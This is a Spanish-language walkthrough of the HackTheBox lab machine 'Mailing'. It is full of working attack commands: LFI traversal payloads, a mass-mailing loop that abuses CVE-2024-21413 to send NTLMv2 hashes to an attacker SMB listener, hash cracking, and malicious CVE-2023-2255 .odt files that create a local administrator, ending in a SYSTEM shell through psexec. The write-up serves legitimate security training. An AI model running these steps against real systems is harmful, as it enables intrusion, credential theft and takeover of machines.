Mailing – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
Mailing
es una máquina de dificultad fácil de la plataforma HackTheBox
. Luego de performar un escaneo inicial con Nmap
, somos capaces de ver que la máquina víctima está corriendo un servicio web. Encontramos un recurso en esta página web que es vulnerable a Local File Inclusion
, lo que nos permite leer un archivo de configuración de un servicio and extract y extraer una contraseña para este servicio. Abusando de la vunlerabilidad CVE-2024-21413, enviamos múltiples mails maliciosos; con esto somos capaces de leer el hash NTLMv2 de uno de los usuarios que abre uno de los mails maliciosos y somos capaces de crackear su contraseña. Este usuario es capaz de conectarse a través del servicio WinRM
en la máquina víctima, lo cual nos permite ganar acceso inicial a ésta. Una vez dentro, podemos ver que hay un directorio ejecutando/abriendo archivos .odt
. Es entonces que usamos la vulnerabilidad CVE-2023-2255 para inyectar código en archivos .odt
los cuales están siendo ejecutados. Este código está siendo privilegiado por un usuario privilegiado del sistema, lo que finalmente nos permite ganar control total sobre éste.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
nos muestra múltiples puertos abiertos: 25
Simple Mail Transfer Protocol
(SMTP
), 80
HTTP
(corriendo Microsoft IIS
), 110
Post Office Protocol
(POP3
), 135
Microsoft RPC
, 143
Internet Message Access Protocol
(IMAP
), 445
Server Message Block
(SMB
), 465
, 587
hMailServer
y 5985
Windows Remote Management
(WinRM
):
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.14
Aplicando scripts de reconocimientos y escaneo de versiones, tenemos:
❯ sudo nmap -sVC -p25,80,110,135,139,143,445,465,587,993,5040,5985,7680,47001,49664,49665,49666,49667,49668,49669 10.10.11.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 21:10 -04
Nmap scan report for 10.10.11.14
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: IDLE CHILDREN IMAP4rev1 SORT completed CAPABILITY QUOTA IMAP4 OK RIGHTS=texkA0001 ACL NAMESPACE
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
587/tcp open smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
993/tcp open ssl/imap hMailServer imapd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
|_imap-capabilities: IDLE CHILDREN IMAP4rev1 SORT completed CAPABILITY QUOTA IMAP4 OK RIGHTS=texkA0001 ACL NAMESPACE
|_ssl-date: TLS randomness does not represent time
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-06-03T01:13:13
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.54 seconds
Del escaneo, puedo ver que http://10.10.11.14
redirige a http://mailing.htb
, de manera que agrego este dominio a mi archivo /etc/hosts
corriendo:
❯ echo '10.10.11.14 mailing.htb' | sudo tee -a /etc/hosts
Visitando http://mailing.htb
nos presenta un sitio web el cual habla sobre estafas y amenazas de phishing que ocurren pueden ocurrir mediante servicios de mail. El sitio web dice que utiliza como servicio hMailServer
:
hMailServer
is a free, open source, e-mail server for Windows|Microsoft Windows
. It’s used by Internet service providers, companies, governments, schools and enthusiasts in all parts of the world.
It supports the common e-mail protocols (IMAP
, SMTP
and POP3
) and can easily be integrated with many existing web mail systems. It has flexible score-based spam protection and can attach to your virus scanner to scan all incoming and outgoing email.En resumen, es una herramienta para securizar los mails.
Si vamos a la parte inferior de la página web, podemos ver un botón que dice Download Instructions
. Si lo clickeamos, éste descarga un archivo llamado instructions.pdf
. Tal cual dice el nombre del archivo, éste muestra instrucciones de cómo instalar hMailServer
en sistemas operativos Windows
y Linux
.
Cuando pongo my mouse sobre Download Instructions
puedo ver que éste lleva a la ruta mailing.htb/download.php?file=instructions.pdf
. Decido entonces ver qué es lo que ocurre cuando descargamos el instructivo interceptando la petición con Burpsuite
. Interceptando el request, tenemos:
GET /download.php?file=instructions.pdf HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Envío esta petición al Repeater
, me aseguro de que esté enviando peticiones a HTTP
en lugar de HTTPs
(clickeando, en el Repeater
, en la parte superior derecha en el ícono de lápiz y deseleccionando la opción Use HTTPs
). Por ejemplo, si buscamos por un directorio que claramente no existe en el sistema obtenemos:
GET /test HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Obtenemos el código de error 404: archivo o directorio no encontrado
.
Si buscamos en la petición que descargaba el instructivo, pero ahora por un archivo que no existe, el servidor nos devuelve File not found.
:
Entonces es que veremos si el parámetro file
de la petición es vulnerable a Local File Inclusion
(LFI
). Descargo una “lista de payloads de LFI” desde este repositorio de Github. Luego, uso la herramienta ffuf
para empezar a buscar por respuestas HTTP
válidas. Luego de filtrar por algunos falsos positivos, obtenemos:
❯ ffuf -X GET -w LFI_payloads.txt -u 'http://mailing.htb/download.php?file=FUZZ' -fw 3,71 -t 55
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://mailing.htb/download.php?file=FUZZ
:: Wordlist : FUZZ: /home/gunzf0x/HTB/HTBMachines/Easy/Mailing/content/LFI_payloads.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 55
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3,71
________________________________________________
\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 157ms]
\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 154ms]
\..\..\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 154ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 154ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
\..\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
<SNIP>
\\\..\..\..\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts [Status: 200, Size: 849, Words: 172, Lines: 24, Duration: 162ms]
../../windows/win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 160ms]
\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 162ms]
\..\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 162ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 149ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 150ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 150ms]
\..\..\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 150ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 159ms]
%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 153ms]
:: Progress: [70466/70466] :: Job [1/1] :: 303 req/sec :: Duration: [0:03:29] :: Errors: 6 ::
Por ejemplo, si elijo el payload \\\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts
y lo paso al parámetro file
de download.php
en Burpsuite
obtenemos:
GET /download.php?file=\\\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Confirmamos que podemos leer archivos a través de un LFI
.
Leyendo archivos de configuración de la documentación de hMailServer
, se dice que, por defecto, el programa está instalado en C:\Program Files\hMailServer
. Adicionalmente, podemos ver la estructura de carpetas de hMailServer
de la documentación también. Para resumir, los datos importantes/sensibles debería estar localizado en un directorio llamado /Bin
. Leyendo la documentación “Starting the server” dice que debería de existir un archivo llamado hMailServer.INI
. Finalmente, leyendo cómo cambiar la contraseña de hMailServer
podemos ver que este archivo, hMailServer.ini
, almacena credenciales. Como se puede ver en la siguiente imagen de ejemplo (la cual se provee en el último link mencionado), muestran que este archivo está almacenado en la ruta C:\Program Files\hMailServer\Bin\hMailServer.INI
.
Intentamos un LFI
para leer este archivo:
GET /download.php?file=\\\..\..\..\Program+Files\\\hMailServer\\\Bin\\\hMailServer.INI HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Pero no funciona. No obstante, si cambiamos Program Files
a Program Files (x86)
sí obtenemos algo:
GET /download.php?file=\\\..\..\..\Program+Files+(x86)\\\hMailServer\\\Bin\\\hMailServer.INI HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Encontramos el hash de una contraseña: 841bb5acfa6779ae432fd7a4e6600ba7
para una variable llamada AdministratorPassword
.
Intentando un Brute Force Password Cracking
con la página Crackstation
(https://crackstation.net/) nos retorna algo:
Obtenemos una contraseña: homenetworkingadministrator
.
Buscando por exploits para hMailServer
nos lleva a la vulnerabilidad CVE-2024-21413. Esta vulnerabilidad no es para hMailServer
en sí, sino que es para Microsoft Outlook
Remote Code Execution
(RCE
), aunque aplica para mails. Buscando por una Proof of concept
para esta vulnerabilidad encontramos este repositorio de Github. Básicamente, éste nos permitiria extraer el hash NTLMv2
de cualquier usuario que abra el mail malicioso (y si es que su versión de Outlook
se encuentra desactualizada). Para esto, simplemente empezamos un listener con la herramienta Responder
antes de empezar con el ataque:
❯ sudo responder -I tun0 -wvd
Como sea, todavía no tenemos usuarios. Para ver si podemos obtenerlos, decido volver al sitio web. Allí podemos ver 3 potenciales usuarios:
Creo un archivo de estos potenciales usuarios, donde la primera columna es el primer nombre de la persona y la segunda columna es su apellido:
❯ cat team_names.txt
Ruy Alonso
Maya Bendito
Gregory Smith
Hace ya un tiempo atrás, creé un script en Python
(el cual puede ser descargado desde mi repositorio) el cual crea potenciales usuarios basados en una lista como la que hemos generado.
Corriéndolo crea una lista llamada potential_usernames.txt
en el directorio actual de trabajo:
❯ python3 ~/HackTools/CreatePotentialUsernames/create_potential_usernames.py -l team_names.txt
[+] Total number of persons: 3
[+] Total combinations/potential users added: 24
[+] Data saved as '/home/gunzf0x/HTB/HTBMachines/Easy/Mailing/content/potential_users.txt'
❯ cat potential_users.txt | head -n 5
ralonso
rualonso
r.alonso
ru.alonso
ruyalonso
<SNIP>
Ahora, usando el exploit de CVE-2024-21413
, enviamos múltiples mails en un oneliner de Bash
. Dado que hemos encontrado el valor de la variable AdministratorPassword
del archivo hMailServer.INI
, asumo que el usuario se llama administrator
(y, por ende, su email es administrator@mailing.htb
) basados en este post. Es así que enviamos múltiples mails como el usuario administrator@mailing.htb
(lo cual en un entorno real haría que el ataque sea mucho menos sospechoso) con su contraseña:
❯ for user in $(cat potential_users.txt); do python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password 'homenetworkingadministrator' --sender administrator@mailing.htb --recipient "${user}@mailing.htb" --url "\\10.10.16.6\meetings" --subject "Urgent meeting" | grep -vE 'CVE-2024-21413|Alexander Hagenah'; echo "[+] Email sent to '${user}@mailing.htb'"; done
✅ Email sent successfully.
[+] Email sent to 'ralonso@mailing.htb'
✅ Email sent successfully.
[+] Email sent to 'rualonso@mailing.htb'
<SNIP>
✅ Email sent successfully.
[+] Email sent to 'gregory.smith@mailing.htb'
✅ Email sent successfully.
[+] Email sent to 'gregory@mailing.htb'
<SNIP>
Luego de unos segundos, obtenemos un hash NTLMv2
en Responder
:
❯ sudo responder -I tun0
<SNIP>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.11.14
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash : maya::MAILING:6c10dd8070e57430:137948D065440DF9AC802EB0284E2129:01010000000000000083A79E45B5DA019057A551906D004C0000000002000800520055004B004A0001001E00570049004E002D005400360045004300560033004400320041004700440004003400570049004E002D00540036004500430056003300440032004100470044002E00520055004B004A002E004C004F00430041004C0003001400520055004B004A002E004C004F00430041004C0005001400520055004B004A002E004C004F00430041004C00070008000083A79E45B5DA010600040002000000080030003000000000000000000000000020000073387648E67CA5AB00CB5880ADB0D42E7453C4DD8074F6F77F09272FB7F09CF80A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0036000000000000000000
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
Guardo este hash en un archivo llamado maya_hash
, e intento, de nuevo, un Brute Force Password Cracking
con JohnTheRipper
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt maya_hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4y4ngs4ri (maya)
1g 0:00:00:20 DONE (2024-06-02 23:43) 0.04901g/s 290886p/s 290886c/s 290886C/s m5681687..m3skl3s
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Tenemos credenciales: maya:m4y4ngs4ri
Reviso si me puedo conectar con estas credenciales a través de WinRM
con la herramienta NetExec
:
❯ netexec winrm 10.10.11.14 -u 'maya' -p 'm4y4ngs4ri'
WINRM 10.10.11.14 5985 MAILING [*] Windows 10 / Server 2019 Build 19041 (name:MAILING) (domain:MAILING)
WINRM 10.10.11.14 5985 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)
y podemos.
Me logueo a través de evil-winrm
en la máquina víctima como el usuario maya
:
❯ evil-winrm -i 10.10.11.14 -u 'maya' -p 'm4y4ngs4ri'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maya\Documents>whoami
mailing\maya
De donde podemos obtener la flag de usuario en el Escritorio del usuario maya
.
NT Auhority/System - Administrator Link to heading
Si revisamos qué softwares tiene instalada la máquina víctima, podemos ver LibreOffice
:
*Evil-WinRM* PS C:\Users\maya\Documents> ls C:\'program files'\
Directory: C:\program files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/27/2024 5:30 PM Common Files
d----- 3/3/2024 4:40 PM dotnet
d----- 3/3/2024 4:32 PM Git
d----- 4/29/2024 6:54 PM Internet Explorer
d----- 3/4/2024 6:57 PM LibreOffice
d----- 3/3/2024 4:06 PM Microsoft Update Health Tools
d----- 12/7/2019 10:14 AM ModifiableWindowsApps
d----- 2/27/2024 4:58 PM MSBuild
d----- 2/27/2024 5:30 PM OpenSSL-Win64
d----- 3/13/2024 4:49 PM PackageManagement
d----- 2/27/2024 4:58 PM Reference Assemblies
d----- 3/13/2024 4:48 PM RUXIM
d----- 2/27/2024 4:32 PM VMware
d----- 3/3/2024 5:13 PM Windows Defender
d----- 4/29/2024 6:54 PM Windows Defender Advanced Threat Protection
d----- 3/3/2024 5:13 PM Windows Mail
d----- 3/3/2024 5:13 PM Windows Media Player
d----- 4/29/2024 6:54 PM Windows Multimedia Platform
d----- 2/27/2024 4:26 PM Windows NT
d----- 3/3/2024 5:13 PM Windows Photo Viewer
d----- 4/29/2024 6:54 PM Windows Portable Devices
d----- 12/7/2019 10:31 AM Windows Security
d----- 3/13/2024 4:49 PM WindowsPowerShell
Esto me trajo recuerdos de Vietnam de la máquina HackTheBox Office, dado que en aquella vez tuvimos que inyectar un payload por medio de la vulnerabilidad CVE-2023-2255, usando este exploit. Repetiré eso. Clono el repositorio y, luego, genero un simple payload:
❯ git clone https://github.com/elweth-sec/CVE-2023-2255.git
Cloning into 'CVE-2023-2255'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 2), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (10/10), 8.47 KiB | 456.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.
❯ cd CVE-2023-2255
❯ python3 CVE-2023-2255.py --cmd 'net user gunzf0x gunzf0x123$ /add' --output 'adduser.odt'
File adduser.odt has been created !
donde 10.10.16.6
es mi IP de atacante y 443
es el puerto en el cual me pondré en escucha con netcat
. Aquí introduzco un payload el cual creará un usuario con credenciales gunzf0x:gunzf0x123$
.
Subo el archivo .odt
malicioso a la máquina víctima usando el comando upload
de evil-winrm
:
*Evil-WinRM* PS C:\Users\maya\Documents> upload adduser.odt
Una vez el archivo ha sido subido a la máquina víctima, ejecuto, por ejemplo, el payload corriendo:
*Evil-WinRM* PS C:\Users\maya\Documents> Start-Process "C:\Program Files\LibreOffice\program\soffice.exe" -ArgumentList "C:\Users\maya\Documents\adduser.odt"
Pero no ocurre nada.
Por lo que existe la opción de que el usuario que corre el payload no tiene los privilegios suficientes para crear un nuevo usuario.
Analizando diferentes directorios, en C:\
puedo ver una carpeta llamada Important Documents
.
*Evil-WinRM* PS C:\> ls C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/3/2024 6:38 AM Important Documents
d----- 2/28/2024 8:49 PM inetpub
d----- 12/7/2019 10:14 AM PerfLogs
d----- 3/9/2024 1:47 PM PHP
d-r--- 3/13/2024 4:49 PM Program Files
d-r--- 3/14/2024 3:24 PM Program Files (x86)
d-r--- 3/3/2024 4:19 PM Users
d----- 6/3/2024 6:40 AM Windows
d----- 4/12/2024 5:54 AM wwwroot
Reviso sus permisos con icacls
, donde veo que puedo subir archivos allí como el usuario maya
:
*Evil-WinRM* PS C:\> icacls 'C:\Important Documents'
C:\Important Documents MAILING\maya:(OI)(CI)(M)
BUILTIN\Administradores:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Usuarios:(I)(OI)(CI)(RX)
NT AUTHORITY\Usuarios autentificados:(I)(M)
NT AUTHORITY\Usuarios autentificados:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
De manera que decido copiar el archivo .odt
malicioso en este directorio:
*Evil-WinRM* PS C:\Users\maya\Documents> cmd.exe /c copy C:\Users\maya\Documents\adduser.odt 'C:\Important Documents\adduser.odt'
Luego de algunos segundos, si chequeamos usuarios con el comando net user
, nuestro usuario agregado está allí:
*Evil-WinRM* PS C:\Users\maya\Documents> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrador DefaultAccount gunzf0x
Invitado localadmin maya
WDAGUtilityAccount
The command completed with one or more errors.
De manera que ha sido creado. Además, el archivo .odt
que estaba en el directorio C:\Important Documents\
es eliminado.
Tomando ventaja del hecho de que ya hemos creado un usuario, trataré de agregar a éste al grupo Administrators
. Chequeando al usuario Administrador
(Administrator
en español), éste pertenece a los grupos:
*Evil-WinRM* PS C:\Users\maya\Documents> net user Administrador
User name Administrador
Full Name
Comment Cuenta integrada para la administraci¢n del equipo o dominio
User's comment
Country/region code 000 (System Default)
Account active No
Account expires Never
Password last set 2024-06-03 6:20:06 AM
Password expires Never
Password changeable 2024-06-03 6:20:06 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administradores
Global Group memberships *Ninguno
The command completed successfully.
donde el grupo Administradores
es el que llama mi atención.
Creo un nuevo payload en mi máquina de atacante el cual agregará al usuario gunzf0x
al grupo Administradores
(o Administrators
en inglés):
❯ python3 CVE-2023-2255.py --cmd 'net localgroup Administradores gunzf0x /add' --output 'privuser.odt'
File privuser.odt has been created !
Lo subimos a la máquina víctima y lo copiamos dentro del directorio Important Documents
:
*Evil-WinRM* PS C:\Users\maya\Documents> upload privuser.odt
<SNIP>
*Evil-WinRM* PS C:\Users\maya\Documents> cmd.exe /c copy C:\Users\maya\Documents\privuser.odt 'C:\Important Documents\privuser.odt'
1 file(s) copied.
Luego de algunos segundos, si reviso los grupos de mi usuario agregado:
*Evil-WinRM* PS C:\Users\maya\Documents> net user gunzf0x
User name gunzf0x
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2024-06-03 6:35:44 AM
Password expires 2024-07-15 6:35:44 AM
Password changeable 2024-06-03 6:35:44 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administradores *Usuarios
Global Group memberships *Ninguno
The command completed successfully.
vemos que éste pertenece al grupo Administradores
(o Administrators
).
Reviso si tenemos acceso por el servicio SMB
con este nuevo falso administrador:
❯ netexec smb 10.10.11.14 -u 'gunzf0x' -p 'gunzf0x123$'
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [+] MAILING\gunzf0x:gunzf0x123$ (Pwn3d!)
Y lo tenemos. Es así que usaré psexec.py
de Impacket
junto con rlwrap
para obtener una shell como el usuario nt/authority system
:
❯ rlwrap -cAr python3 /usr/share/doc/python3-impacket/examples/psexec.py gunzf0x:'gunzf0x123$'@mailing.htb
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on mailing.htb.....
[*] Found writable share ADMIN$
[*] Uploading file CCgKtget.exe
[*] Opening SVCManager on mailing.htb.....
[*] Creating service puII on mailing.htb.....
[*] Starting service puII.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [Versi�n 10.0.19045.4355]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Windows\system32> whoami
nt authority\system
Y eso es todo. Podemos leer la flag root.txt
en el Escritorio del usuario localadmin
.
~Happy Hacking